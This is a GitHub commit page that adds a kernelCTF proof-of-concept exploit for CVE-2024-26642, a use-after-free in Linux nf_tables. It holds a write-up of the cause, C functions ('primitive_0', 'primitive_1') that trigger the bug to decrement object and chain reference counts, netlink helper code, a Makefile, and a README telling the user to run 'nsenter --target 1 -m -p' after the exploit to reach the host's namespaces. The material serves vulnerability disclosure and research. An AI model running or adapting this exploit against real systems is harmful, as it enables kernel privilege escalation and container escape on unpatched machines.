-
Notifications
You must be signed in to change notification settings - Fork 403
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
14 changed files
with
2,237 additions
and
0 deletions.
There are no files selected for viewing
111 changes: 111 additions & 0 deletions
111
pocs/linux/kernelctf/CVE-2024-26642_lts/docs/exploit.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,111 @@ | ||
# Exploit detail about CVE-2024-26642 | ||
If you want to get some base information about CVE-2023-6817, please read [vulnerability.md](./vulnerability.md) first. | ||
|
||
## Background | ||
nftables is a netfilter project that aims to replace the existing {ip,ip6,arp,eb}tables framework, providing a new packet filtering framework for {ip,ip6}tables, a new userspace utility (nft) and A compatibility layer. It uses existing hooks, link tracking system, user space queuing component and netfilter logging subsystem. | ||
|
||
It consists of three main components: kernel implementation, libnl netlink communication and nftables user space front-end. The kernel provides a netlink configuration interface and runtime rule set evaluation. libnl contains basic functions for communicating with the kernel. The nftables front end is for user interaction through nft. | ||
|
||
nftables implements data packet filtering by using some components like `table`, `set`, `chain`, `rule`. | ||
|
||
## Cause anaylysis | ||
|
||
In the function nf_tables_deactivate_set, it does not set "set->dead = 1". This makes it possible to call nft_setelem_data_deactivate with a set element more than once by following this step: | ||
|
||
1. Create a pipapo set with flag NFT_SET_TIMEOUT and NFT_SET_ANONYMOUS. | ||
2. Create a set element of this pipapo set with flag NFTA_SET_ELEM_EXPIRATION. | ||
3. Create a chain. | ||
4. Create a rule with nft_lookup expr, which will bind the pipapo set we create in step 1. | ||
5. Delete the chain | ||
|
||
After you send these commands in a message list, when you reach step 5 `delete the chain`, the following call chain will occur: | ||
``` | ||
nf_tables_delchain -> nft_delrule -> nft_rule_expr_deactivate -> (expr->ops->deactivate) -> nft_lookup_deactivate -> nf_tables_deactivate_set -> case NFT_TRANS_PREPARE: nft_map_deactivate | ||
``` | ||
`nft_map_deactivate` will eventually call `nft_setelem_data_deactivate` for all set elements in the set. | ||
|
||
But at the same time, after all commands are executed, nftable will also call `nf_tables_commit`, which triggers another call chain: | ||
|
||
``` | ||
nf_tables_commit -> (set->ops->commit) -> nft_pipapo_commit -> pipapo_gc -> nft_pipapo_gc_deactivate -> nft_setelem_data_deactivate | ||
``` | ||
|
||
Finally, `nft_setelem_data_deactivate` will be called for elements which are timed out in the pipapo set, which may result in multiple calls to `nft_setelem_data_deactivate` for the same set element. | ||
|
||
## Triggering the vulnerability | ||
|
||
It's easy to trigger it by following this steps: | ||
|
||
- Create a pipapo set with flag NFT_SET_TIMEOUT and NFT_SET_ANONYMOUS. | ||
- Create a set element of this pipapo set with flag NFTA_SET_ELEM_EXPIRATION. | ||
- Create a chain. | ||
- Create a rule with nft_lookup expr, which will bind the pipapo set we create in step 1. | ||
- Delete the chain | ||
|
||
|
||
## Exploit it | ||
The method of exploiting CVE-2024-26642 is exactly the same as that of exploiting CVE-2023-6817. If you want to learn how I exploit CVE-2023-6817, please read [here](https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/docs/exploit.md).The only difference is how to construct the two primitives. | ||
|
||
## Primitive | ||
### Primitive_0 | ||
I build a function named as `primitive_0` to change the nft_object->use by triggering the vulnerabiltiy: | ||
|
||
```c | ||
//make target_obj->use = target_obj->use - repeat_time | ||
void primitive_0(struct nl_sock *socket, char *table, char *target_obj, int repeat_time){ | ||
char *pad = malloc(0x100); | ||
memset(pad,0x41,0x100); | ||
int i,j; | ||
struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*0x100); | ||
char *key = malloc(0x40); | ||
char *set_name = "set for primitive0"; | ||
char *chain_name = "chain for primitive0"; | ||
msg_list[0] = new_set_pipapo_for_timeout_with_anonymous_msg(table, set_name, NFT_OBJECT_CT_EXPECT); | ||
for(i=0;i<repeat_time;i++){ | ||
*(uint64_t *)key = i; | ||
msg_list[i+1] = new_setelem_with_expiration_msg(table, set_name, pad, 0xc0, target_obj, key, 0x40, NULL, 0, 0,0x0100000000000000); | ||
} | ||
msg_list[repeat_time+1] = new_chain_msg(table, chain_name, 0); | ||
msg_list[repeat_time+2] = new_rule_lookup_for_chain_msg(table, chain_name, set_name, 0); | ||
msg_list[repeat_time+3] = del_chain_msg(table, chain_name); | ||
send_msg_list(socket, msg_list, repeat_time+4); | ||
|
||
free(msg_list); | ||
free(pad); | ||
} | ||
``` | ||
It will trigger the vulnerability as described above. In order to achieve the effect of executing "nft_object->use--" multiple times on the same nft_object, I created multiple set elements using the same nft_object at one time. | ||
### Primitive_1 | ||
I build a function named as `primitive_1` to change the nft_chain->use by triggering the vulnerabiltiy: | ||
```c | ||
//make target_chain->use = target_chain->use - repeat_time | ||
void primitive_1(struct nl_sock *socket, char *table, char *target_chain, int repeat_time){ | ||
char *pad = malloc(0x100); | ||
memset(pad,0x41,0x100); | ||
int i,j; | ||
struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*0x100); | ||
char *set_name = "set for primitive1"; | ||
char *chain_name = "chain for primitive1"; | ||
char *key = malloc(0x40); | ||
msg_list[0] = new_set_pipapo_for_timeout_and_chain_with_anonymous_msg(table, set_name, 0x40); | ||
for(i=0;i<repeat_time;i++){ | ||
*(uint64_t *)key = i; | ||
msg_list[i+1] = new_setelem_with_chain_and_expiration_msg(table, set_name, pad, 0xc0, target_chain, key, 0x40, NULL, 0, 0,0x0100000000000000); | ||
} | ||
msg_list[repeat_time+1] = new_chain_msg(table, chain_name, 0); | ||
msg_list[repeat_time+2] = new_rule_lookup_for_chain_msg(table, chain_name, set_name, 1); | ||
msg_list[repeat_time+3] = del_chain_msg(table, chain_name); | ||
send_msg_list(socket, msg_list, repeat_time+4); | ||
free(msg_list); | ||
free(pad); | ||
} | ||
``` | ||
It will trigger the vulnerability as described above. In order to achieve the effect of executing "nft_chain->use--" multiple times on the same nft_object, I created multiple set elements using the same nft_chain at one time. | ||
|
||
|
||
## Exploit | ||
Because the exploit steps of CVE-2024-26642 is the same as CVE-2023-6817, please read [here](https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/docs/exploit.md). |
25 changes: 25 additions & 0 deletions
25
pocs/linux/kernelctf/CVE-2024-26642_lts/docs/vulnerability.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,25 @@ | ||
# Vulneribility | ||
The function nf_tables_deactivate_set does not set "set->dead = 1". This makes it possible to call `nft_setelem_data_deactivate` with a set element more than once. | ||
|
||
## Requirements to trigger the vulnerability | ||
- Capabilities: `CAP_NET_ADMIN` capability is required. | ||
- Kernel configuration: `CONFIG_NETFILTER`, `CONFIG_NF_TABLES` | ||
- Are user namespaces needed?: Yes | ||
|
||
## Commit which introduced the vulnerability | ||
- [commit d60be2da67d172aecf866302c91ea11533eca4d9](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/net/netfilter/nf_tables_api.c?h=linux-6.1.y&id=d60be2da67d172aecf866302c91ea11533eca4d9) | ||
|
||
## Commit which fixed the vulnerability | ||
- [commit 16603605b667b70da974bea8216c93e7db043bf1](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/net/netfilter?id=16603605b667b70da974bea8216c93e7db043bf1) | ||
- [commit 552705a3650bbf46a22b1adedc1b04181490fc36](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=552705a3650bbf46a22b1adedc1b04181490fc36) | ||
|
||
## Affected kernel versions | ||
- 6.1.35 and later | ||
- 5.15.121 and later | ||
|
||
## Affected component, subsystem | ||
- net/netfilter (nf_tables) | ||
|
||
## Cause | ||
- UAF | ||
|
9 changes: 9 additions & 0 deletions
9
pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/Makefile
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
exploit: | ||
gcc -o exploit exploit.c -I/usr/include/libnl3 -lnl-nf-3 -lnl-route-3 -lnl-3 -static | ||
prerequisites: | ||
sudo apt-get install libnl-nf-3-dev | ||
run: | ||
./exploit | ||
|
||
clean: | ||
rm exploit |
2 changes: 2 additions & 0 deletions
2
pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/README
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
Exploit for kctf LTS 6.1.78 | ||
Run command "nsenter --target 1 -m -p" after run the poc. |
171 changes: 171 additions & 0 deletions
171
pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/chain.h
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,171 @@ | ||
extern int cur_handle; | ||
void new_chain(struct nl_sock * socket, char *table_name, char *chain_name, int if_binding){ | ||
struct nl_msg * msg = nlmsg_alloc(); | ||
//(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); | ||
struct nlmsghdr *hdr1 = nlmsg_put( | ||
msg, | ||
NL_AUTO_PORT, // auto assign current pid | ||
NL_AUTO_SEQ, // begin wit seq number 0 | ||
NFNL_MSG_BATCH_BEGIN, // TYPE | ||
sizeof(struct nfgenmsg), | ||
NLM_F_REQUEST //NLM_F_ECHO | ||
); | ||
struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); | ||
h->nfgen_family = 2;//NFPROTO_IPV4; | ||
h->version = 0; | ||
h->res_id = NFNL_SUBSYS_NFTABLES; | ||
memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); | ||
|
||
struct nl_msg * msg2 = nlmsg_alloc(); | ||
struct nlmsghdr *hdr2 = nlmsg_put( | ||
msg2, | ||
NL_AUTO_PORT, // auto assign current pid | ||
NL_AUTO_SEQ, // begin wit seq number 0 | ||
(NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWCHAIN),// TYPE | ||
sizeof(struct nfgenmsg), | ||
NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO | ||
); | ||
struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); | ||
h2->nfgen_family = 2;//NFPROTO_IPV4; | ||
h2->version = 0; | ||
h2->res_id = NFNL_SUBSYS_NFTABLES; | ||
memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); | ||
struct nl_msg * msg3 = nlmsg_alloc(); | ||
struct nlmsghdr *hdr3 = nlmsg_put( | ||
msg3, | ||
NL_AUTO_PORT, // auto assign current pid | ||
NL_AUTO_SEQ, // begin wit seq number 0 | ||
NFNL_MSG_BATCH_END,// TYPE | ||
sizeof(struct nfgenmsg), | ||
NLM_F_REQUEST //NLM_F_ECHO | ||
); | ||
nla_put_string(msg2, NFTA_CHAIN_TABLE, table_name); | ||
nla_put_string(msg2, NFTA_CHAIN_NAME, chain_name); | ||
if(if_binding>0){ | ||
nla_put_u32(msg2, NFTA_CHAIN_FLAGS, htonl(NFT_CHAIN_BINDING)); | ||
} | ||
uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); | ||
char *buf = malloc(total_size); | ||
memset(buf,0,total_size); | ||
memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); | ||
memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); | ||
memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); | ||
int res = nl_sendto(socket, buf, total_size); | ||
nlmsg_free(msg); | ||
if (res < 0) { | ||
fprintf(stderr, "sending message failed\n"); | ||
} else { | ||
//printf("Create chain %s\n",chain_name); | ||
} | ||
cur_handle++; | ||
} | ||
|
||
struct nlmsghdr * new_chain_msg(char *table_name, char *chain_name, int if_binding){ | ||
struct nl_msg * msg2 = nlmsg_alloc(); | ||
struct nlmsghdr *hdr2 = nlmsg_put( | ||
msg2, | ||
NL_AUTO_PORT, // auto assign current pid | ||
NL_AUTO_SEQ, // begin wit seq number 0 | ||
(NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWCHAIN),// TYPE | ||
sizeof(struct nfgenmsg), | ||
NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO | ||
); | ||
struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); | ||
h2->nfgen_family = 2;//NFPROTO_IPV4; | ||
h2->version = 0; | ||
h2->res_id = NFNL_SUBSYS_NFTABLES; | ||
memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); | ||
nla_put_string(msg2, NFTA_CHAIN_TABLE, table_name); | ||
nla_put_string(msg2, NFTA_CHAIN_NAME, chain_name); | ||
if(if_binding>0){ | ||
nla_put_u32(msg2, NFTA_CHAIN_FLAGS, htonl(NFT_CHAIN_BINDING)); | ||
} | ||
cur_handle++; | ||
return hdr2; | ||
} | ||
|
||
void del_chain(struct nl_sock * socket, char *table_name, char *chain_name){ | ||
struct nl_msg * msg = nlmsg_alloc(); | ||
//(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); | ||
struct nlmsghdr *hdr1 = nlmsg_put( | ||
msg, | ||
NL_AUTO_PORT, // auto assign current pid | ||
NL_AUTO_SEQ, // begin wit seq number 0 | ||
NFNL_MSG_BATCH_BEGIN, // TYPE | ||
sizeof(struct nfgenmsg), | ||
NLM_F_REQUEST //NLM_F_ECHO | ||
); | ||
struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); | ||
h->nfgen_family = 2;//NFPROTO_IPV4; | ||
h->version = 0; | ||
h->res_id = NFNL_SUBSYS_NFTABLES; | ||
memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); | ||
|
||
struct nl_msg * msg2 = nlmsg_alloc(); | ||
struct nlmsghdr *hdr2 = nlmsg_put( | ||
msg2, | ||
NL_AUTO_PORT, // auto assign current pid | ||
NL_AUTO_SEQ, // begin wit seq number 0 | ||
(NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELCHAIN),// TYPE | ||
sizeof(struct nfgenmsg), | ||
NLM_F_REQUEST | ||
); | ||
struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); | ||
h2->nfgen_family = 2;//NFPROTO_IPV4; | ||
h2->version = 0; | ||
h2->res_id = NFNL_SUBSYS_NFTABLES; | ||
memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); | ||
struct nl_msg * msg3 = nlmsg_alloc(); | ||
struct nlmsghdr *hdr3 = nlmsg_put( | ||
msg3, | ||
NL_AUTO_PORT, // auto assign current pid | ||
NL_AUTO_SEQ, // begin wit seq number 0 | ||
NFNL_MSG_BATCH_END,// TYPE | ||
sizeof(struct nfgenmsg), | ||
NLM_F_REQUEST | ||
); | ||
nla_put_string(msg2, NFTA_CHAIN_TABLE, table_name); | ||
nla_put_string(msg2, NFTA_CHAIN_NAME, chain_name); | ||
uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); | ||
char *buf = malloc(total_size); | ||
memset(buf,0,total_size); | ||
memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); | ||
memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); | ||
memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); | ||
int res = nl_sendto(socket, buf, total_size); | ||
nlmsg_free(msg); | ||
if (res < 0) { | ||
fprintf(stderr, "sending message failed\n"); | ||
} else { | ||
//printf("Delete chain %s\n",chain_name); | ||
} | ||
} | ||
|
||
struct nlmsghdr * del_chain_msg(char *table_name, char *chain_name){ | ||
struct nl_msg * msg2 = nlmsg_alloc(); | ||
struct nlmsghdr *hdr2 = nlmsg_put( | ||
msg2, | ||
NL_AUTO_PORT, // auto assign current pid | ||
NL_AUTO_SEQ, // begin wit seq number 0 | ||
(NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELCHAIN),// TYPE | ||
sizeof(struct nfgenmsg), | ||
NLM_F_REQUEST | ||
); | ||
struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); | ||
h2->nfgen_family = 2;//NFPROTO_IPV4; | ||
h2->version = 0; | ||
h2->res_id = NFNL_SUBSYS_NFTABLES; | ||
memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); | ||
struct nl_msg * msg3 = nlmsg_alloc(); | ||
struct nlmsghdr *hdr3 = nlmsg_put( | ||
msg3, | ||
NL_AUTO_PORT, // auto assign current pid | ||
NL_AUTO_SEQ, // begin wit seq number 0 | ||
NFNL_MSG_BATCH_END,// TYPE | ||
sizeof(struct nfgenmsg), | ||
NLM_F_REQUEST | ||
); | ||
nla_put_string(msg2, NFTA_CHAIN_TABLE, table_name); | ||
nla_put_string(msg2, NFTA_CHAIN_NAME, chain_name); | ||
return hdr2; | ||
} |
Binary file not shown.
Oops, something went wrong.